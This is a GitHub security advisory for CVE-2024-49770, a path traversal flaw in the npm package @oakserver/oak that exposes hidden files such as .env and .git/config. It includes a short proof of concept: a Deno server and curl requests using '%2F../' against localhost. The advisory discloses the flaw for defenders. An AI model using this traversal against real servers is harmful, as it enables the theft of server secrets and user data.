GitHub Advisoryadvisory · npm

GHSA-qm92-93fv-vh7m Path traversal in oak allows transfer of hidden files within the served root directory

HIGH Published 2024-11-01 Modified 2024-11-01 Official page ↗
Aliases
CVE-2024-49770
Ecosystem
npm
Packages
@oakserver/oak
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weaknesses
CWE-22, CWE-35
Reviewed
2024-11-01

Affected packages

• npm @oakserver/oak: <= 14.1.0 (no fix yet)

Description

Summary By default `oak` does not allow transferring of hidden files with `Context.send` API. However, this can be bypassed by encoding `/` as its URL encoded form `%2F`. Details 1.) Oak uses decodeComponent which seems to be unexpected. This is also the reason why it is not possible to access a file that contains URL encoded characters unless the client URL encodes it first. 2.) The function isHidden is flawed since it only checks if the first subpath is hidden, allowing secrets to be read from `subdir/.env`. PoC ```ts // server.ts import { Application } from "jsr:@oak/[email protected]"; const app = new Application(); app.use(async (context, next) => { try { await context.send({ root: './root', hidden: false, // default }); } catch { await next(); } }); await app.listen({ port: 8000 }); ``` In terminal: ```bash setup root directory mkdir root/.git echo SECRET_KEY=oops > root/.env echo oops > root/.git/config start server deno run -A server.ts in another terminal curl -D- http://127.0.0.1:8000/poc%2f../.env curl -D- http://127.0.0.1:8000/poc%2f../.git/config ``` Impact For an attacker this has potential to read sensitive user data or to gain access to server secrets.

Related

Alias · CVE (1)

  • CVE-2024-49770 `oak` is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. vulnerability

Weakness · CWE (2)

  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness
  • CWE-35 Path Traversal: '.../...//' weakness

References